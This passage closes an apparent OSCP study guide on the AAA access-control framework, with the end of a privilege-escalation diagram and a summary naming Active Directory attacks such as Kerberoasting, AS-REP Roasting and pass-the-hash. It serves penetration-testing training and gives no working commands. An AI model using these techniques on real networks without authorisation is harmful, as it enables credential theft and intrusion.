│ │ │
│ ▼ │
│ Privilege Escalation │ │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ Domain admin → Full domain control │ │
│ │ Local admin → System access │ │
│ │ Service account → Service-specific access │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
Summary
The AAA Framework is the cornerstone of access control in any secure system. For OSCP candidates, understanding AAA is critical because:
- Authentication attacks are the most common initial access vector in OSCP labs
- Kerberos attacks (Kerberoasting, AS-REP Roasting) are essential for Active Directory environments
- Credential dumping and reuse (PtH, PtT) enable lateral movement and privilege escalation
- Authorization misconfigurations lead to privilege escalation opportunities
- Accounting gaps allow attackers to operate undetected
Master these concepts, tools, and techniques to excel in the OSCP exam.
Last Updated: 2026-09-01 Difficulty: Core Tags: authentication, authorization, accounting, access-control